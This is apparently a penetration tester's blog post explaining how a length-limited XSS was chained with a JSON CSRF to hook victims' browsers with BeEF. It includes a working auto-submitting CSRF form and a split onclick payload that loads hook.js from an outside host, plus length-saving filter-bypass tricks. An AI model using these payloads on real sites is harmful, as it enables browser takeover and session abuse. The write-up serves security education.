CSRF-MXSS Browser Hacking

Quite recently while going through a pentest mission I was faced with a very interesting XSS vulnerability.

As I had just finished reading "The tangled Web" and was now reading "The Browser Hacker's Handbook", I decided to exploit the vulnerability in order to hook a browser with beef. Another reason that made me want to hook a browser using this POC was that all interesting session relevant cookies (except for anti-CSRF token cookie) were set to HTTPOnly.

Vulnerability overview

I found the vulnerability in the application user's name and lastname attributes.

However, the vulnerability had several limitations:

  • The two XSS vulnerable inputs filtered the script word on the server side.
  • It was a self inflicted XSS meaning that only the current logged in user was affected.
  • Finally, the biggest limitation I had (which motivated me to write this post) was a length limitation on both inputs.

In order to detect the XSS and bypass the first problem, I made use of the following payload (which I highly recommend when hunting for xss):

 <img src=inexistantsrc onerror=alert(1) >

Please note that you do not need to add quotes as they are usually added when rendered through markup fixup by most browsers.

The second problem was bypassed through the use of a CSRF vulnerability on the app. I won't go into CSRF details here but by making our victim click on a link and visit an attacker controlled website, an attacker could issue a post request effectively changing the name and lastname of the user to our XSS payload. Cookies are persistent across tabs and are only domain related (depending on how you set your cookie scope).

The application had an anti-CSRF token, however it was a cookie which lasted the entire session and had no secure flag. Hence an attacker could impersonate the application server and easily retrieve the cookie (by doing dns cache poisoning for example).

It was difficult to find a solution for the third issue.
The name and lastname fields are limited to 75 characters. 150 characters of code is not much considering we want to hook the browser and not steal a cookie (stealing a cookie requires slightly less code). Moreover, each payload should be encapsulated in an html tag in order to be interpreted as JS by the browser. Or should it really?...

The Post request which post a JSON structure, looks like the following:

JSON Post

The payload:

I crafted my attack using the following code in a static html page served by a simple nodejs server:

<form action="https://avulnerableapp.com/someapiname/profile/generic?
action=update" method="post" enctype='text/plain' name="csrf_form">
   <input type="hidden" name="{&quot;data&quot;:{&quot;user&quot;:
 {&quot;generic&quot;:{&quot;firstname&quot;:&quot;<b onclick='var s=document.createElement(\&quot;script\&quot;);s.src=\&quot;://a.io\&quot;;docu&quot;,&quot;lastname&quot;:&quot;ment.getElementsByTagName(\&quot;head\&quot;)[0].appendChild(s);beef_init();\'&gt;v&quot;,&quot;useremail&quot;:&quot;john@doe.com&quot;,&quot;timezone&quot;:&quot;Europe/Bucharest&quot;,&quot;mailinglist&quot;:false}}}}">
</form>


<script>

document.csrf_form.submit();

</script>

Payload Breakdown:

Now to breakdown the payload

I had to html encode all quotes and some brackets as they were messing with html rendering.

The decoded payload looks like so:

 {"generic":{"firstname":"<b onclick='var s=document.createElement(\"script\");s.src=\"://a.io\";docu","lastname":"ment.getElementsByTagName(\"head\")[0].appendChild(s);beef_init();\'>v","useremail":"john@doe.com","timezone":"Europe/Bucharest","mailinglist":false}}}}

If we filter out the JSON and keep only the html relevant code, this is what we would get:

<b onclick='var s=document.createElement(\"script\");s.src=\"://a.io\";document.getElementsByTagName(\"head\")[0].appendChild(s);beef_init();\'>v 

As you can see, there is only one html tag: <b>
That is because the two 75 character long inputs were displayed one after the other. Hence, I decided to use a small trick by opening the <b> bracket in the first input and closing it in the second I won a fair amount of space.

I chose the <b> tag after a small google search which led me to this cheatsheet. I do not believe there are many smaller ways to do an xss. The <b> tag xss is smaller than the <img> tag xss. I chose to use the onclick event rather than the onkeyup mostly because in the application, a user had to click on his name in order to access his profile so the chances of that happening were quite high.

The "src" attribute refers to a.io, I do not own this domain name. I just wanted you guys to get the idea that it was better to use a very short domain name in order to shorten the payload and have some extra space for code. The a.io url serves the file beef/hook.js which is dynamically generated by the beef server. This js script allows us to hook a browser and achieve bidirectional communication through several means (polling with the XMLHttpRequest API at first). The code from this file is appended in a script tag to the head of the file. Then the beef_init(); function Runs the code and hooks the browser. I did not make use of a javascript settimeout to make sure the code was properly appended before running beef_init() as this would have taken to much space in my payload.

In order to make my payload even shorter I used a simple trick I found here.
The idea is to not specify the protocol after the src attribute and just write "src=://somedomain.com". Most browsers(tested on chrome and firefox) will retrieve the resource using the same protocol as the origin page. Hence https.

The best way to post JSON using a form (for a CSRF) is to use the input's name attribute. The form's enctype must be set to enctype='text/plain'. A server can protect itself from JSON CSRF's by checking the enctype. When using the CSRF for an XSS you can also use the value attribute to "hack" and ommit an "=" from the xss payload as it will be added by the form.

Such a CSRF looks something like this:

CSRF

Please note the "=" sign appended at the end as well as the enctype.
This CSRF does not go through all the steps mentioned earlyer and is hosted on my localhost. bitly shortened the "localhost:3000/hook.js" quite effectively.bi . However as my js file was served over http on an https application, I had to deactivate mixed-content protection on chrome and firefox in order to test my POC.

Now some of you probably noticed that I did not close the <b> tag in my payload with a <\b> .

This is because I needed space. Hence I made use of Markup Fixup and asked the browser to nicely close the tag for me :-) .

The injected script looks like so inside firebug:

I'm sorry I added an extra " ' " at the end by mistake. It does not change anything except add a strange '="" at the end of our <b> tag (I added it while playing around to find the MXSS).

Once the xss payload has run, the victim browser should appear in our beefUI. I won't cover beef here as there are plenty of tutorials (and the browser hacker's handbook) which discuss the subject.

beef